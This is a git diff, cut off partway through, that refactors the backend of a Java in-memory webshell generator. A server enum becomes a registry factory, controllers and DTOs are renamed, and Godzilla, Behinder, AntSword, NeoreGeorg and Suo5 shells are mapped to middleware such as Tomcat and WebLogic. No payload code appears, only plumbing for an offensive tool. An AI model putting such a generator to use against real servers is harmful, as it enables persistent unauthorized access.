diff --git a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java index 1a9fcdbb..8bedbca5 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java @@ -1,12 +1,9 @@ package com.reajason.javaweb.boot; -import com.reajason.javaweb.memshell.Server; import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; -import java.util.Arrays; - /** * @author ReaJason */ @@ -16,8 +13,5 @@ public class BootApplication { public static void main(String[] args) { SpringApplication.run(BootApplication.class, args); - Server[] values = Server.values(); - log.info("Supported servers: {}", Arrays.toString(values)); - log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md"); } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 00e418c6..1cc49cca 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.vo.CommandConfigVO; -import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.config.CommandConfig; -import com.reajason.javaweb.memshell.server.AbstractShell; +import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.packer.Packers; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.GetMapping; @@ -25,11 +25,10 @@ public class ConfigController { @RequestMapping("/servers") public Map> getServers() { Map> servers = new LinkedHashMap<>(); - for (Server server : Server.values()) { - if (server.getShell() != null) { - Set supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes(); - servers.put(server.name(), supportedShellTypes.stream().toList()); - } + List supportedServers = ServerFactory.getSupportedServers(); + for (String supportedServer : supportedServers) { + Set supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes(); + servers.put(supportedServer, supportedShellTypes.stream().toList()); } return servers; } @@ -44,20 +43,21 @@ public class ConfigController { @RequestMapping public Map> config() { Map> coreMap = new HashMap<>(16); - for (Server value : Server.values()) { - AbstractShell shell = value.getShell(); - if (shell == null) { + List supportedServers = ServerFactory.getSupportedServers(); + for (String supportedServer : supportedServers) { + AbstractServer server = ServerFactory.getServer(supportedServer); + if (server == null) { continue; } Map> map = new LinkedHashMap<>(16); - for (ShellTool shellTool : shell.getSupportedShellTools()) { - Set supportedShellTypes = shell.getSupportedShellTypes(shellTool); + for (ShellTool shellTool : server.getSupportedShellTools()) { + Set supportedShellTypes = server.getSupportedShellTypes(shellTool); if (supportedShellTypes.isEmpty()) { continue; } map.put(shellTool.name(), supportedShellTypes); } - coreMap.put(value.name(), map); + coreMap.put(supportedServer, map); } return coreMap; } diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java similarity index 61% rename from boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java rename to boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java index 8c7101d1..cff87e15 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.boot.controller; -import com.reajason.javaweb.boot.dto.GenerateRequest; -import com.reajason.javaweb.boot.dto.GenerateResponse; +import com.reajason.javaweb.boot.dto.MemShellGenerateRequest; +import com.reajason.javaweb.boot.dto.MemShellGenerateResponse; import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.config.InjectorConfig; @@ -19,22 +19,22 @@ import java.util.Base64; * @since 2024/12/18 */ @RestController -@RequestMapping("/generate") +@RequestMapping("/memshell/generate") @CrossOrigin("*") -public class GeneratorController { +public class MemShellGeneratorController { @PostMapping - public GenerateResponse generate(@RequestBody GenerateRequest request) { + public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) { ShellConfig shellConfig = request.getShellConfig(); ShellToolConfig shellToolConfig = request.parseShellToolConfig(); InjectorConfig injectorConfig = request.getInjectorConfig(); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); Packer packer = request.getPacker().getInstance(); if (packer instanceof JarPacker) { - return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); + return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); } else if (packer instanceof AggregatePacker) { - return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); + return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); } else { - return new GenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); + return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); } } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeGeneratorController.java deleted file mode 100644 index 48be3239..00000000 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeGeneratorController.java +++ /dev/null @@ -1,33 +0,0 @@ -package com.reajason.javaweb.boot.controller; - -import com.reajason.javaweb.boot.dto.ProbeGenerateRequest; -import com.reajason.javaweb.boot.dto.ProbeGenerateResponse; -import com.reajason.javaweb.packer.AggregatePacker; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.probe.ProbeGenerator; -import com.reajason.javaweb.probe.ProbeResult; -import com.reajason.javaweb.probe.config.ProbeConfig; -import com.reajason.javaweb.probe.config.ProbeContentConfig; -import org.springframework.web.bind.annotation.*; - -/** - * @author ReaJason - * @since 2025/8/10 - */ -@RestController -@RequestMapping("/probe/generate") -@CrossOrigin("*") -public class ProbeGeneratorController { - @PostMapping - public ProbeGenerateResponse generate(@RequestBody ProbeGenerateRequest request) { - ProbeConfig probeConfig = request.getProbeConfig(); - ProbeContentConfig probeContentConfig = request.parseProbeContentConfig(); - ProbeResult generateResult = ProbeGenerator.generate(probeConfig, probeContentConfig); - Packer packer = request.getPacker().getInstance(); - if (packer instanceof AggregatePacker) { - return new ProbeGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); - } else { - return new ProbeGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); - } - } -} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java new file mode 100644 index 00000000..23cbbbdc --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.boot.controller; + +import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest; +import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse; +import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.probe.ProbeShellGenerator; +import com.reajason.javaweb.probe.ProbeShellResult; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ProbeContentConfig; +import org.springframework.web.bind.annotation.*; + +/** + * @author ReaJason + * @since 2025/8/10 + */ +@RestController +@RequestMapping("/probe/generate") +@CrossOrigin("*") +public class ProbeShellGeneratorController { + @PostMapping + public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) { + ProbeConfig probeConfig = request.getProbeConfig(); + ProbeContentConfig probeContentConfig = request.parseProbeContentConfig(); + ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig); + Packer packer = request.getPacker().getInstance(); + if (packer instanceof AggregatePacker) { + return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); + } else { + return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); + } + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java similarity index 97% rename from boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java rename to boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java index 26ced208..6d41570b 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.boot.dto; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.utils.CommonUtil; import lombok.Data; import org.apache.commons.lang3.StringUtils; @@ -11,7 +11,7 @@ import org.apache.commons.lang3.StringUtils; * @since 2024/12/18 */ @Data -public class GenerateRequest { +public class MemShellGenerateRequest { private ShellConfig shellConfig; private ShellToolConfigDTO shellToolConfig; private InjectorConfig injectorConfig; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateResponse.java similarity index 53% rename from boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java rename to boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateResponse.java index 5dc8afae..f23c0d3f 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateResponse.java @@ -12,18 +12,18 @@ import java.util.Map; */ @Data @NoArgsConstructor -public class GenerateResponse { - private MemShellResult generateResult; +public class MemShellGenerateResponse { + private MemShellResult memShellResult; private String packResult; private Map allPackResults; - public GenerateResponse(MemShellResult generateResult, String packResult) { - this.generateResult = generateResult; + public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) { + this.memShellResult = memShellResult; this.packResult = packResult; } - public GenerateResponse(MemShellResult generateResult, Map allPackResults) { + public MemShellGenerateResponse(MemShellResult memShellResult, Map allPackResults) { this.allPackResults = allPackResults; - this.generateResult = generateResult; + this.memShellResult = memShellResult; } } diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateResponse.java deleted file mode 100644 index 7f1636ec..00000000 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateResponse.java +++ /dev/null @@ -1,29 +0,0 @@ -package com.reajason.javaweb.boot.dto; - -import com.reajason.javaweb.probe.ProbeResult; -import lombok.Data; -import lombok.NoArgsConstructor; - -import java.util.Map; - -/** - * @author ReaJason - * @since 2025/8/10 - */ -@Data -@NoArgsConstructor -public class ProbeGenerateResponse { - private ProbeResult probeResult; - private String packResult; - private Map allPackResults; - - public ProbeGenerateResponse(ProbeResult probeResult, String packResult) { - this.probeResult = probeResult; - this.packResult = packResult; - } - - public ProbeGenerateResponse(ProbeResult probeResult, Map allPackResults) { - this.allPackResults = allPackResults; - this.probeResult = probeResult; - } -} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java similarity index 97% rename from boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateRequest.java rename to boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java index 1433f4d6..cb4920a0 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java @@ -9,7 +9,7 @@ import lombok.Data; * @since 2025/8/10 */ @Data -public class ProbeGenerateRequest { +public class ProbeShellGenerateRequest { private ProbeConfig probeConfig; private ProbeContentConfigDTO probeContentConfig; private Packers packer; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateResponse.java new file mode 100644 index 00000000..0ad792ae --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateResponse.java @@ -0,0 +1,29 @@ +package com.reajason.javaweb.boot.dto; + +import com.reajason.javaweb.probe.ProbeShellResult; +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/8/10 + */ +@Data +@NoArgsConstructor +public class ProbeShellGenerateResponse { + private ProbeShellResult probeShellResult; + private String packResult; + private Map allPackResults; + + public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) { + this.probeShellResult = probeShellResult; + this.packResult = packResult; + } + + public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map allPackResults) { + this.allPackResults = allPackResults; + this.probeShellResult = probeShellResult; + } +} diff --git a/build.gradle.kts b/build.gradle.kts index ce83815e..cda24e95 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -1,6 +1,14 @@ plugins { id("java") + id("idea") } + +idea { + module { + excludeDirs.add(file("src")) + } +} + version = "2.0.0-SNAPSHOT" tasks.register("publishAllToMavenCentral") { diff --git a/generator/build.gradle.kts b/generator/build.gradle.kts index c28c7482..7d9c1e62 100644 --- a/generator/build.gradle.kts +++ b/generator/build.gradle.kts @@ -29,17 +29,19 @@ tasks.test { dependencies { implementation(project(":memshell-party-common")) implementation(project(":packer")) - implementation(project(":memshell")) - implementation(libs.bundles.jna) - implementation(libs.javax.servlet.api) + implementation(libs.byte.buddy) + implementation(libs.asm.commons) implementation(libs.javax.websocket.api) + implementation(libs.javax.servlet.api) + implementation(libs.spring.webmvc) + implementation(libs.spring.webflux) + implementation(libs.reactor.netty.core) + + implementation(libs.bundles.jna) implementation(libs.bcel) implementation(libs.okhttp3) implementation(libs.logback.classic) implementation(libs.jackson.databind) - implementation(libs.spring.webmvc) - implementation(libs.spring.webflux) - implementation(libs.reactor.netty.core) testImplementation(libs.junit.jupiter) testRuntimeOnly(libs.junit.platform.launcher) testImplementation(libs.bundles.mockito) diff --git a/generator/src/main/java/com/reajason/javaweb/Constants.java b/generator/src/main/java/com/reajason/javaweb/Constants.java deleted file mode 100644 index e3e15135..00000000 --- a/generator/src/main/java/com/reajason/javaweb/Constants.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.reajason.javaweb; - -/** - * @author ReaJason - * @since 2025/8/5 - */ -public class Constants { - public static class Server { - public static final String TOMCAT = "Tomcat"; - public static final String JETTY = "Jetty"; - public static final String UNDERTOW = "Undertow"; - public static final String JBOSS = "JBoss"; - public static final String RESIN = "Resin"; - public static final String WEBLOGIC = "WebLogic"; - public static final String WEBSPHERE = "WebSphere"; - public static final String GLASSFISH = "GlassFish"; - public static final String TONGWEB = "TongWeb"; - public static final String BES = "BES"; - public static final String INFORSUITE = "InforSuite"; - public static final String APUSIC = "Apusic"; - public static final String SPRING_WEBFLUX = "SpringWebFlux"; - public static final String SPRING_WEBMVC = "SpringWebMvc"; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/Server.java b/generator/src/main/java/com/reajason/javaweb/Server.java new file mode 100644 index 00000000..8564500a --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/Server.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb; + +/** + * @author ReaJason + * @since 2025/8/11 + */ +public class Server { + public static final String Tomcat = "Tomcat"; + public static final String Jetty = "Jetty"; + public static final String Undertow = "Undertow"; + public static final String JBoss = "JBoss"; + public static final String Resin = "Resin"; + public static final String WebLogic = "WebLogic"; + public static final String WebSphere = "WebSphere"; + public static final String GlassFish = "GlassFish"; + public static final String TongWeb = "TongWeb"; + public static final String BES = "BES"; + public static final String InforSuite = "InforSuite"; + public static final String Apusic = "Apusic"; + public static final String SpringWebMvc = "SpringWebMvc"; + public static final String SpringWebFlux = "SpringWebFlux"; + public static final String XXLJOB = "XXLJOB"; +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/ShellGenerator.java similarity index 68% rename from generator/src/main/java/com/reajason/javaweb/memshell/generator/ShellGenerator.java rename to generator/src/main/java/com/reajason/javaweb/ShellGenerator.java index 152c7475..88e6e89a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/ShellGenerator.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.generator; +package com.reajason.javaweb; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 752b7980..ceb2903a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -4,8 +4,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.generator.InjectorGenerator; -import com.reajason.javaweb.memshell.server.AbstractShell; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.memshell.server.AbstractServer; +import com.reajason.javaweb.utils.CommonUtil; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; @@ -18,14 +18,14 @@ import java.util.Map; public class MemShellGenerator { public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { - Server server = shellConfig.getServer(); - AbstractShell shell = server.getShell(); - if (shell == null) { - throw new IllegalArgumentException("Unsupported server: " + server); + String serverName = shellConfig.getServer(); + AbstractServer server = ServerFactory.getServer(serverName); + if (server == null) { + throw new IllegalArgumentException("Unsupported server: " + serverName); } if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { - shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType())); + shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType())); } if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { @@ -35,11 +35,11 @@ public class MemShellGenerator { Class injectorClass = null; if (ShellTool.Custom.equals(shellConfig.getShellTool())) { - injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType()); + injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType()); } else { - Pair, Class> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); + Pair, Class> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); if (shellInjectorPair == null) { - throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool()); + throw new UnsupportedOperationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool()); } Class shellClass = shellInjectorPair.getLeft(); injectorClass = shellInjectorPair.getRight(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java similarity index 76% rename from generator/src/main/java/com/reajason/javaweb/memshell/Server.java rename to generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 24f8a7b0..5cd89f02 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.Server; import com.reajason.javaweb.memshell.server.*; import com.reajason.javaweb.memshell.shelltool.antsword.*; import com.reajason.javaweb.memshell.shelltool.behinder.*; @@ -7,102 +8,43 @@ import com.reajason.javaweb.memshell.shelltool.command.*; import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.suo5.*; -import lombok.Getter; + +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.CopyOnWriteArrayList; +import java.util.function.Supplier; import static com.reajason.javaweb.memshell.ShellType.*; -import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping; /** * @author ReaJason - * @since 2024/11/22 + * @since 2025/8/11 */ -@Getter -public enum Server { - /** - * Tomcat 中间件 - */ - Tomcat(new TomcatShell()), - /** - * Jetty 中间件 - */ - Jetty(new JettyShell()), - /** - * JBoss 中间件,JBoss 6.4-EAP 也使用的当前方式 JBoss AS - */ - JBoss(new JbossShell()), - /** - * Undertow,对应是 Wildfly 以及 JBossEAP7,也有可能是 SpringBoot 用的 - * JBossEAP - */ - Undertow(new UndertowShell()), - - /** - * SpringMVC 框架 - */ - SpringWebMvc(new SpringWebMvcShell()), - - /** - * Spring WebFlux 框架 - */ - SpringWebFlux(new SpringWebFluxShell()), - - /** - * WebSphere 中间件 - */ - WebSphere(new WebSphereShell()), - - /** - * WebLogic 中间件 - */ - WebLogic(new WebLogicShell()), - - /** - * Resin 中间件,Resin - */ - Resin(new ResinShell()), - - /** - * GlassFish 中间件 - */ - GlassFish(new GlassFishShell()), - - /** - * 宝兰德中间件,9.5.2+ 企业版 - */ - BES(new BesShell()), - - /** - * 东方通中间件 - */ - TongWeb(new TongWebShell()), - - /** - * 金蝶天燕中间件,only 9 - */ - Apusic(new ApusicShell()), - - /** - * 中创中间件 - */ - InforSuite(new InforSuiteShell()), - - /** - * 普元中间件 - */ - Primeton(new GlassFishShell()), - - /** - * XXL-JOB - */ - XXLJOB(new XxlJobShell()); - - private final AbstractShell shell; - - Server(AbstractShell shell) { - this.shell = shell; - } +public class ServerFactory { + private static final Map> registry = new ConcurrentHashMap<>(); + private static final Map instances = new ConcurrentHashMap<>(); + private static final List servers = new CopyOnWriteArrayList<>(); static { + register(Server.Tomcat, Tomcat::new); + register(Server.Jetty, Jetty::new); + register(Server.Undertow, Undertow::new); + register(Server.JBoss, Jboss::new); + register(Server.Resin, Resin::new); + register(Server.WebLogic, WebLogic::new); + register(Server.WebSphere, WebSphere::new); + register(Server.GlassFish, GlassFish::new); + register(Server.TongWeb, TongWeb::new); + register(Server.BES, Bes::new); + register(Server.InforSuite, InforSuite::new); + register(Server.Apusic, Apusic::new); + register(Server.SpringWebMvc, SpringWebMvc::new); + register(Server.SpringWebFlux, SpringWebFlux::new); + register(Server.XXLJOB, XxlJob::new); + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() .addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class) @@ -253,4 +195,51 @@ public enum Server { .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .build()); } -} \ No newline at end of file + + public static void register(String serverName, Supplier shellSupplier) { + if (serverName == null || serverName.trim().isEmpty()) { + throw new IllegalArgumentException("Server name cannot be null or empty."); + } + Supplier existing = registry.putIfAbsent(serverName, shellSupplier); + if (existing == null) { + servers.add(serverName); + } + } + + public static AbstractServer getServer(String serverName) { + if (serverName == null) { + return null; + } + return instances.computeIfAbsent(serverName, k -> { + Supplier supplier = registry.get(k); + if (supplier == null) { + throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'."); + } + return supplier.get(); + }); + } + + public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) { + Map> rawToolMapping = toolMapping.getShellClassMap(); + List supportedServers = ServerFactory.getSupportedServers(); + for (String supportedServer : supportedServers) { + AbstractServer server = ServerFactory.getServer(supportedServer); + InjectorMapping shellInjectorMapping = server.getShellInjectorMapping(); + Set injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes(); + ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder(); + + for (String shellType : injectorSupportedShellTypes) { + Class shellClass = rawToolMapping.get(shellType); + if (shellClass == null) { + continue; + } + toolMappingBuilder.addShellClass(shellType, shellClass); + } + server.addToolMapping(shellTool, toolMappingBuilder.build()); + } + } + + public static List getSupportedServers() { + return Collections.unmodifiableList(servers); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java index 53fe6277..d607bf67 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.generator.*; import com.reajason.javaweb.memshell.generator.command.CommandGenerator; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java index c9c325c6..de3a428e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.utils.CommonUtil; import lombok.*; import lombok.experimental.SuperBuilder; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java index 29a4bc40..2220bfb4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.utils.CommonUtil; import lombok.*; import lombok.experimental.SuperBuilder; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index 8278c1bd..37136dd5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.utils.CommonUtil; import lombok.Builder; import lombok.Getter; import lombok.ToString; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java index 98f40640..f7ff177f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.utils.CommonUtil; import lombok.*; import lombok.experimental.SuperBuilder; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java index 7c1d993a..a5151b3e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.utils.CommonUtil; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/NeoreGeorgConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/NeoreGeorgConfig.java index 9f4dd6d4..8079e8de 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/NeoreGeorgConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/NeoreGeorgConfig.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.utils.CommonUtil; import lombok.*; import lombok.experimental.SuperBuilder; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java index 0c39c8cc..c05a25c4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import lombok.AllArgsConstructor; @@ -21,7 +20,7 @@ public class ShellConfig { /** * 目标服务类型 */ - private Server server; + private String server; /** * 目标服务版本 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Suo5Config.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Suo5Config.java index d4e2c829..2f5cdfa0 100644 --- 